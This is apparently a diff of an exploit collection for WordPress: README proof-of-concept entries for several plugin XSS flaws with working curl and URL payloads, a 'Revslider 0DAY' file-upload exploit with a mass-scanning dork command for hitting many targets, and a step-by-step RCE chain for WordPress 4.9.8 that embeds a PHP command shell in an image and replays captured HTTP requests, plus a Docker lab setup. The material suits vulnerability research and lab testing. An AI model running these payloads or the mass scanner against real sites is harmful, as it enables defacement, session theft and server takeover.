23	+	```
24	+

■ ■ ■ ■ ■ ■

CVE-2022-0680/README.md

1	+	# Plezi < 1.0.3 - Unauthenticated Stored XSS
2	+	Description
3	+	<br>
4	+	The plugin has a REST endpoint allowing unauthenticated users to update the plz_configuration_tracker_enable option, which is then displayed in the admin panel without sanitisation and escaping, leading to a Stored Cross-Site Scripting issue
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	curl -X POST 'https://example.com/wp-json/plz/v2/configuration/update-tracker?switchstatus="><svg/onload=alert(`XSS`)>'
9	+	```
10	+
11	+	# References
12	+	https://wpscan.com/vulnerability/7cede02e-9af7-4f50-95a8-84ef4c7f7ded
13	+

■ ■ ■ ■ ■ ■

CVE-2022-0780/README.md

1	+	# SearchIQ < 3.9 - Unauthenticated Stored XSS
2	+	Description
3	+	<br>
4	+	The plugin contains a flag to disable the verification of CSRF nonces, granting unauthenticated attackers access to the siq_ajax AJAX action and allowing them to perform Cross-Site Scripting attacks due to the lack of sanitisation and escaping in the customCss parameter
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	Once the plugin is configured with an API key (can be a dummy one such as 123):
9	+
10	+
11	+
12	+	curl https://example.com/wp-admin/admin-ajax.php --data "action=siq_ajax&customCss=</textarea><script>alert('xss')</script>&nononce=1&task=set_custom_style"
13	+
14	+
15	+
16	+	The XSS will be triggered when an admin open the Options tab of the plugin (/wp-admin/admin.php?page=dwsearch&tab=tab-2)
17	+	```
18	+	References
19	+	https://wpscan.com/vulnerability/0ee7d1a8-9782-4db5-b055-e732f2763825
20	+

■ ■ ■ ■ ■ ■

CVE-2022-0818/README.md

1	+	# Coupon Affiliates < 4.16.4.5 - Unauthenticated Stored XSS
2	+	Description
3	+
4	+	The plugin does not have authorization and CSRF checks on a specific action handler, as well as does not sanitize its settings, which enables an unauthenticated attacker to inject malicious XSS payloads into the settings page of the plugin.
5	+
6	+	# Proof of Concept
7	+	```
8	+	curl https://example.com/wp-admin/admin-ajax.php --data 'action=wcu-update-text&option=wcusage_field_orders&value="></input><script>alert("xss");</script><input'
9	+
10	+
11	+
12	+	The XSS will be triggered in the Settings page of the plugin (/wp-admin/admin.php?page=wcusage_settings)
13	+	```
14	+	# References
15	+	https://wpscan.com/vulnerability/c43fabb4-b388-462c-adc4-c6b25af7043b
16	+

■ ■ ■ ■ ■ ■

CVE-2022-1167/README.md

1	+	# CareerUp < 2.3.1 - Unauthenticated Reflected Cross-Site Scripting
2	+	Description
3	+
4	+	There are unauthenticated reflected Cross-Site Scripting (XSS) vulnerabilities in CareerUp theme, via the filter parameters.
5	+
6	+	Edit (WPScanTeam)
7	+
8	+	May 27th, 2020 - Vendor Contacted by Original Submitter.
9	+
10	+	May 29th, 2020 - v2.3.0 Released. Unclear if issue fixed.
11	+
12	+	June 18th, 2020 - Another submitter (Vlad Vector) reported the same issue. Report escalated to Envato
13	+	<br>
14	+	June 18th, 2020 - v2.3.1 released. Issue confirmed to be fixed.
15	+	<br>
16	+	# Proof of Concept
17	+	```
18	+	https://apusthemes.com/wp-demo/careerup/jobs/?filter-title=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&filter-center-location=&filter-center-latitude=&filter-center-longitude=&filter-distance=50
19	+
20	+
21	+
22	+	https://apusthemes.com/wp-demo/careerup/jobs/?filter-title=%22%3E%3Cimg%20src=x%20onerror=alert(`XSS`)%3E&filter-center-location=%22%3E%3Cimg%20src=x%20onerror=alert(`XSS2`)%3E&filter-distance=%22%3E%3Cimg%20src=x%20onerror=alert(`XSS3`)%3E
23	+	```
24	+	# References
25	+	https://wpscan.com/vulnerability/a30a1430-c474-4cd1-877c-35c4ab624170
26	+

■ ■ ■ ■ ■ ■

CVE-2022-1168/README.md

1	+	# JobSearch < 1.5.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	There is a Cross-Site Scripting vulnerability in the JobSearch plugin.
5	+
6	+	# Proof of Concept
7	+	```
8	+	https://eyecix.com/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E&ajax_filter=true&posted=all&sort-by=recent
9	+	```
10	+	# References
11	+	https://wpscan.com/vulnerability/bcf38e87-011e-4540-8bfb-c93443a4a490
12	+

■ ■ ■ ■ ■ ■

CVE-2022-1169/README.md

1	+	# Careerfy < 3.9.0 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	There is a XSS vulnerability in Careerfy.
5	+
6	+	# Proof of Concept
7	+	```
8	+	https://careerfy.net/demo/jobs-listing/?search_title=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&location=&loc_radius=50&sector_cat=
9	+

■ ■ ■ ■ ■ ■

CVE-2022-1170/README.md

1	+	# JobMonster < 4.5.2.9 - Unauthenticated Reflected Cross-Site Scripting
2	+	Description
3	+
4	+	In the theme JobMonster there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.
5	+
6	+
7	+
8	+	Note (WPScanTeam): It's unclear which exact version fixed the issue, but the lowest we were able to test and confirm remediation was 4.5.2.9.
9	+
10	+	# Proof of Concept
11	+	```
12	+	https://example.com/resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(1)%3E
13	+	```
14	+

■ ■ ■ ■ ■ ■

CVE-2022-1582/README.md

1	+	# External Links in New Window / New Tab < 1.43 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not properly escape URLs it concatenates to onclick event handlers, which makes Stored Cross-Site Scripting attacks possible.
5	+
6	+	# Proof of Concept
7	+	```
8	+	On any post on the affected site, add the following link to a comment:
9	+
10	+
11	+
12	+	<a href="http://domain.tld/'-alert(1)-'/">Click here for XSS</a>
13	+
14	+
15	+
16	+	Click on the link, you should be getting an alert box.
17	+	```
18	+

■ ■ ■ ■ ■ ■

CVE-2022-23988/README.md

1	+	# WS Form < 1.8.176 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugins do not sanitise and escape submitted form data, allowing unauthenticated attacker to submit XSS payloads which will get executed when a privileged user will view the related submission
5	+
6	+	# Proof of Concept
7	+	```
8	+	- Created a basic contact form and publish it
9	+
10	+	- As an unauthenticated user, go the page/post where the form is embed and put the following payload in the "Your Inquiry" or in "Description" fields: "><img src onerror=alert(/XSS/)>
11	+
12	+	- The XSS will be triggered when an admin will view the related submission (eg: wp-admin/admin.php?orderby&order&page=ws-form-submit&id=1&paged=1#1)
13	+	```
14	+
15	+	# References
16	+	https://wpscan.com/vulnerability/9d5738f9-9a2e-4878-8a03-745894420bf6
17	+

■ ■ ■ ■ ■ ■

CVE-2022-29455/README.md

1	+	# Elementor < 3.5.6 - DOM Reflected Cross-Site Scripting
2	+	Description
3	+	<br>
4	+	The plugin does not sanitise and escape user input appended to the DOM via malicious Lightbox settings, resulting in a DOM Cross-Site Scripting issue
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	https://example.com/#elementor-action:action=lightbox&settings=ewogICAgInR5cGUiOiAidmlkZW8iLAogICAgInVybCI6ICJodHRwOi8vIiwKICAgICJ2aWRlb1R5cGUiOiAiaG9zdGVkIiwKICAgICJ2aWRlb1BhcmFtcyI6IHsKICAgICAgICAib25lcnJvciI6ImFsZXJ0KGRvY3VtZW50LmRvbWFpbisnICcrZG9jdW1lbnQuY29va2llKSIsCiAgICAgICAgInN0eWxlIjogImJhY2tncm91bmQtY29sb3I6cmVkIgogICAgfQp9
9	+	```
10	+	# References
11	+	https://wpscan.com/vulnerability/9758570b-4729-4eef-ad52-b6e922f536d6
12	+

■ ■ ■ ■ ■ ■

WORDPRESS-Revslider-Exploit-0DAY/README.md

1	+	- WORDPRESS Revslider Exploit 0DAY / INURL - BRASIL
2	+	------
3	+
4	+	```
5	+	# AUTOR: Cleiton Pinheiro / Nick: googleINURL
6	+	# Blog: http://blog.inurl.com.br
7	+	# Twitter: https://twitter.com/googleinurl
8	+	# Fanpage: https://fb.com/InurlBrasil
9	+	# Pastebin http://pastebin.com/u/Googleinurl
10	+	# GIT: https://github.com/googleinurl
11	+	# PSS: http://packetstormsecurity.com/user/googleinurl
12	+	# YOUTUBE: http://youtube.com/c/INURLBrasil
13	+	# PLUS: http://google.com/+INURLBrasil
14	+	```
15	+	- Vulnerability Description
16	+	------
17	+	Exploit Wordpress Plugin Revolution Slider - Unrestricted File Upload
18	+
19	+	- Tool Description
20	+	------
21	+	Script perform html upload unauthorized to target
22	+
23	+	- REQUEST POST SEND
24	+	------
25	+	```
26	+	array("action" => "revslider_ajax_action","client_action" => "update_captions_css", "data" => _YOU_HTML_);
27	+	```
28	+
29	+	- URL REQUEST SEND
30	+	------
31	+	```
32	+	http://{target}/wp-admin/admin-ajax.php
33	+	```
34	+
35	+	- URL MODIFIED
36	+	------
37	+	```
38	+	http://{target}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
39	+	```
40	+
41	+	- COMMAND EXPLOIT --help
42	+	------
43	+	```
44	+	-t : SET TARGET.
45	+	-f : SET FILE TARGETS.
46	+	-p : SET PROXY
47	+	Execute:
48	+	php exploit.php -t target
49	+	php exploit.php -f targets
50	+	php exploit.php -t target -p 'http://localhost:9090'
51	+	```
52	+
53	+	- USE MASS EXPLOIT SCANNER INURLBR
54	+	------
55	+	```
56	+	./inurlbr.php --dork 'inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s vull.txt -q 1,6 --command-all 'php inurl_revslider.php -t _TARGET_'
57	+	```
58	+
59	+	- DOWNLOAD INURLBR
60	+	------
61	+	https://github.com/googleinurl/SCANNER-INURLBR
62	+
63	+	- PRINT
64	+	------
65	+	http://i.imgur.com/Fown6vf.png
66	+
67	+	- REFERENCE
68	+	------
69	+	[1] http://blog.inurl.com.br/2015/03/wordpress-revslider-exploit-0day-inurl.html
70	+
71	+	[2] http://www.exploit4arab.net/exploits/1405
72	+

■ ■ ■ ■ ■ ■

WordPress_4.9.8_RCE_POC/README.md

1	+	# Summary
2	+	A simple PoC for WordPress RCE (author priviledge), refer to CVE-2019-8942 and CVE-2019-8943.
3	+
4	+	# Affected Version
5	+	* WordPress <= 4.9.8 (verified)
6	+	* WordPress <= 5.0.0
7	+
8	+	# Test Environment
9	+	## Docker Image
10	+	* `docker pull avfisherdocker/wordpress:4.9.8`
11	+	* `docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8`
12	+
13	+	## Mysql & WordPress Info
14	+	\|Type\|Username\|Password\|
15	+	\|---\|---\|---\|
16	+	\|mysql\|root\|root\|
17	+	\|wordpress\|admin\|admin4wp498
18	+	\|wordpress\|author\|author4wp498
19	+
20	+	# Proof of Concepts
21	+
22	+	#### 1. Start Burp to intercept the traffic
23	+
24	+	#### 2. Create malicous image file in `poc.jpg` by exiftool
25	+	* `exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"`
26	+
27	+	#### 3. Detect current theme by WPScan
28	+	* `wpscan -u <URL> -et`, e.g. `twentyseventeen` as default in wordpress 4.9.8
29	+
30	+	#### 4. Upload the payload image file `poc.jpg`
31	+	* Login the `author` account;
32	+	* Click `Media` - `Add New` in the Dashboard to upload `poc.jpg` file;
33	+	* Select the uploaded picture and click `Edit more details` - `Update`;
34	+	* Check in Burp you will see a POST request `/wp-admin/post.php` similar as below and then send it to Repeater:
35	+
36	+	```
37	+	POST /wp-admin/post.php HTTP/1.1
38	+	Host: 127.0.0.1
39	+	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
40	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
41	+	Accept-Language: en-US,en;q=0.5
42	+	Accept-Encoding: gzip, deflate
43	+	Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
44	+	Content-Type: application/x-www-form-urlencoded
45	+	Content-Length: 832
46	+	Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
47	+	Connection: close
48	+	Upgrade-Insecure-Requests: 1
49	+
50	+	_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc
51	+	```
52	+
53	+	#### 5. Crop the image
54	+	* Go to `Media` and select the image uploaded in step 4;
55	+	* Click `Edit Image` to crop the image and then click `Save`;
56	+	* Check in Burp you will see a POST request `/wp-admin/admin-ajax.php` similar as below and then send it to Repeater:
57	+
58	+	```
59	+	POST /wp-admin/admin-ajax.php HTTP/1.1
60	+	Host: 127.0.0.1
61	+	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
62	+	Accept: /
63	+	Accept-Language: en-US,en;q=0.5
64	+	Accept-Encoding: gzip, deflate
65	+	Referer: http://34.211.248.202/wp-admin/upload.php?item=6&mode=edit
66	+	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
67	+	X-Requested-With: XMLHttpRequest
68	+	Content-Length: 174
69	+	Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126785
70	+	Connection: close
71	+
72	+	action=image-editor&_ajax_nonce=0fc4799ff5&postid=6&history=%5B%7B%22c%22%3A%7B%22x%22%3A10%2C%22y%22%3A13%2C%22w%22%3A32%2C%22h%22%3A26%7D%7D%5D&target=full&context=&do=save
73	+	```
74	+
75	+	#### 6. Update attached file to `poc.jpg#/poc.jpg`
76	+	* Add `&meta_input[_wp_attached_file]=<CURRENT YEAT>/<CURRENT MONTH>/poc.jpg#/poc.jpg` (e.g. `&meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg` for February, 2019) in the POST request `/wp-admin/post.php` captured in step 4 in Burp Repeater similar as below and then click `Go`.
77	+
78	+	```
79	+	POST /wp-admin/post.php HTTP/1.1
80	+	Host: 127.0.0.1
81	+	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
82	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
83	+	Accept-Language: en-US,en;q=0.5
84	+	Accept-Encoding: gzip, deflate
85	+	Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
86	+	Content-Type: application/x-www-form-urlencoded
87	+	Content-Length: 832
88	+	Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
89	+	Connection: close
90	+	Upgrade-Insecure-Requests: 1
91	+
92	+	_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg
93	+	```
94	+
95	+	#### 7. Crop the image
96	+	* Repeat the POST request `/wp-admin/admin-ajax.php` captured in step 5 in Burp Repeater.
97	+
98	+	#### 8. Update attached file to `poc.jpg#/../../../../themes/<CURRENT THEME>/poc.jpg`
99	+	* Update as `&meta_input[_wp_attached_file]=<CURRENT YEAR>/<CURRENT MONTH>/poc.jpg#/../../../../themes/<CURRENT THEME>/poc.jpg` (e.g. `&meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg` for February, 2019) in the POST request `/wp-admin/post.php` captured in step 4 in Burp Repeater similar as below and click `Go`.
100	+
101	+	```
102	+	POST /wp-admin/post.php HTTP/1.1
103	+	Host: 127.0.0.1
104	+	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
105	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
106	+	Accept-Language: en-US,en;q=0.5
107	+	Accept-Encoding: gzip, deflate
108	+	Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
109	+	Content-Type: application/x-www-form-urlencoded
110	+	Content-Length: 832
111	+	Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
112	+	Connection: close
113	+	Upgrade-Insecure-Requests: 1
114	+
115	+	_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg
116	+	```
117	+
118	+	#### 9. Crop the image
119	+	* Repeat the POST request `/wp-admin/admin-ajax.php` captured in step 5 in Burp Repeater;
120	+	* Take a note on the cropped image file name, e.g. `poc-e1551133870454.jpg`.
121	+	![](http://avfisher.win/wp-content/uploads/2019/03/step_9.png)
122	+
123	+	#### 10. Create the post carrying the payload by adding a post
124	+	* Click `Posts` - `Add New` to create a new post and click `Publish`;
125	+	* Check in Burp you will see a POST request `/wp-admin/post.php` similar as below and then send it to Repeater:
126	+
127	+	```
128	+	POST /wp-admin/post.php HTTP/1.1
129	+	Host: 127.0.0.1
130	+	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
131	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
132	+	Accept-Language: en-US,en;q=0.5
133	+	Accept-Encoding: gzip, deflate
134	+	Referer: http://180.76.234.24/wp-admin/post-new.php?wp-post-new-reload=true
135	+	Content-Type: application/x-www-form-urlencoded
136	+	Content-Length: 1116
137	+	Cookie: wp-saving-post=7-check; wp-saving-post=10-saved; wordpress_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C9f3191099eadc9810a0a7f0ec2a9caa5ceed7f86be6100640b7d444c89f2cc1a; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-2=1551134027; wordpress_logged_in_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C85b467e06eb3b1461380c8672c848b04bf78da7e0c637ba0af40634b437da039
138	+	Connection: close
139	+	Upgrade-Insecure-Requests: 1
140	+
141	+	_wpnonce=16f64ed1dd&_wp_http_referer=%2Fwp-admin%2Fpost-new.php&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=post&original_post_status=auto-draft&referredby=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&auto_draft=&post_ID=7&meta-box-order-nonce=32fc2f4c9b&closedpostboxesnonce=f550a7dc60&post_title=Here+is+the+PoC&samplepermalinknonce=d703c244b8&content=Here+is+the+PoC.&wp-preview=&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=02&jj=25&aa=2019&hh=22&mn=33&ss=47&hidden_mm=02&cur_mm=02&hidden_jj=25&cur_jj=25&hidden_aa=2019&cur_aa=2019&hidden_hh=22&cur_hh=22&hidden_mn=33&cur_mn=33&original_publish=Publish&publish=Publish&post_format=0&post_category%5B%5D=0&tax_input%5Bpost_tag%5D=&newtag%5Bpost_tag%5D=&_thumbnail_id=-1&excerpt=&trackback_url=&metakeyinput=&metavalue=&_ajax_nonce-add-meta=ba64f17c06&advanced_view=1&comment_status=open&ping_status=open&post_name=
142	+	```
143	+
144	+	* Add `&meta_input[_wp_page_template]=<cropped image file name noted in step 9>` in the POST request `/wp-admin/post.php` captured in last step in Burp Repeater similar as below and then click `Go`:
145	+
146	+	```
147	+	POST /wp-admin/post.php HTTP/1.1
148	+	Host: 127.0.0.1
149	+	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
150	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
151	+	Accept-Language: en-US,en;q=0.5
152	+	Accept-Encoding: gzip, deflate
153	+	Referer: http://180.76.234.24/wp-admin/post-new.php?wp-post-new-reload=true
154	+	Content-Type: application/x-www-form-urlencoded
155	+	Content-Length: 1116
156	+	Cookie: wp-saving-post=7-check; wp-saving-post=10-saved; wordpress_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C9f3191099eadc9810a0a7f0ec2a9caa5ceed7f86be6100640b7d444c89f2cc1a; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-2=1551134027; wordpress_logged_in_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C85b467e06eb3b1461380c8672c848b04bf78da7e0c637ba0af40634b437da039
157	+	Connection: close
158	+	Upgrade-Insecure-Requests: 1
159	+
160	+	_wpnonce=16f64ed1dd&_wp_http_referer=%2Fwp-admin%2Fpost-new.php&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=post&original_post_status=auto-draft&referredby=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&auto_draft=&post_ID=7&meta-box-order-nonce=32fc2f4c9b&closedpostboxesnonce=f550a7dc60&post_title=Here+is+the+PoC&samplepermalinknonce=d703c244b8&content=Here+is+the+PoC.&wp-preview=&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=02&jj=25&aa=2019&hh=22&mn=33&ss=47&hidden_mm=02&cur_mm=02&hidden_jj=25&cur_jj=25&hidden_aa=2019&cur_aa=2019&hidden_hh=22&cur_hh=22&hidden_mn=33&cur_mn=33&original_publish=Publish&publish=Publish&post_format=0&post_category%5B%5D=0&tax_input%5Bpost_tag%5D=&newtag%5Bpost_tag%5D=&_thumbnail_id=-1&excerpt=&trackback_url=&metakeyinput=&metavalue=&_ajax_nonce-add-meta=ba64f17c06&advanced_view=1&comment_status=open&ping_status=open&post_name=&meta_input[_wp_page_template]=poc-e1551133870454.jpg
161	+	```
162	+
163	+	* Take a note on the post id, e.g. `post_ID=7`.
164	+
165	+	#### 11. Trigger the LFI for arbitrary code execution by accessing the post with the payload
166	+
167	+	* Send a POST request to `http://127.0.0.1/?p=7` with data `cmd=id`, you will see the code has been executed successfully.
168	+	![](http://avfisher.win/wp-content/uploads/2019/02/step_11.png)
169	+
170	+	# Reference
171	+	* <https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/>
172	+	* <https://nvd.nist.gov/vuln/detail/CVE-2019-8942>
173	+	* <https://nvd.nist.gov/vuln/detail/CVE-2019-8943>
174	+

■ ■ ■ ■ ■ ■

WordPress_4.9.8_RCE_POC/env/Dockerfile

1	+	FROM medicean/vulapps:base_lamp_php7
2	+	MAINTAINER Medici.Yan <[email protected]> & avfisher
3	+
4	+	ARG WP_URL=https://wordpress.org/wordpress-4.9.8.tar.gz
5	+
6	+	COPY src/wordpress.sql /tmp/wordpress.sql
7	+	RUN set -x \
8	+	&& apt update \
9	+	&& apt-get install -y apache2 php-imagick php7.0-fpm unzip wget \
10	+	&& rm -rf /var/www/html/* \
11	+	&& wget -qO /tmp/wordpress.tar.gz $WP_URL \
12	+	&& tar -zxf /tmp/wordpress.tar.gz -C /var/www/html --strip-components=1 \
13	+	&& rm -rf /tmp/wordpress.tar.gz \
14	+	&& service php7.0-fpm reload \
15	+	&& service apache2 restart
16	+
17	+	COPY src/wp-config.php /var/www/html/wp-config.php
18	+	RUN set -x \
19	+	&& chown -R www-data:www-data /var/www/html/ \
20	+	&& /etc/init.d/mysql start \
21	+	&& mysql -e "CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8;" -uroot -proot \
22	+	&& mysql -e "use wordpress;source /tmp/wordpress.sql;" -uroot -proot \
23	+	&& rm -f /tmp/wordpress.sql
24	+
25	+	COPY src/start.sh /start.sh
26	+	RUN chmod a+x /start.sh
27	+
28	+	EXPOSE 80
29	+	CMD ["/start.sh"]
30	+

■ ■ ■ ■ ■ ■

WordPress_4.9.8_RCE_POC/env/src/start.sh

1	+	#!/bin/bash
2	+	/etc/init.d/mysql restart
3	+	/etc/init.d/apache2 restart
4	+
5	+	/usr/bin/tail -f /dev/null
6	+

■ ■ ■ ■ ■ ■

WordPress_4.9.8_RCE_POC/env/src/wordpress.sql

1	+	-- MySQL dump 10.13 Distrib 5.7.25, for Linux (x86_64)
2	+	--
3	+	-- Host: localhost Database: wp4_9_8
4	+	-- ------------------------------------------------------
5	+	-- Server version 5.7.25-0ubuntu0.16.04.2
6	+
7	+	/!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT /;
8	+	/!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS /;
9	+	/!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION /;
10	+	/!40101 SET NAMES utf8 /;
11	+	/!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE /;
12	+	/!40103 SET TIME_ZONE='+00:00' /;
13	+	/!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 /;
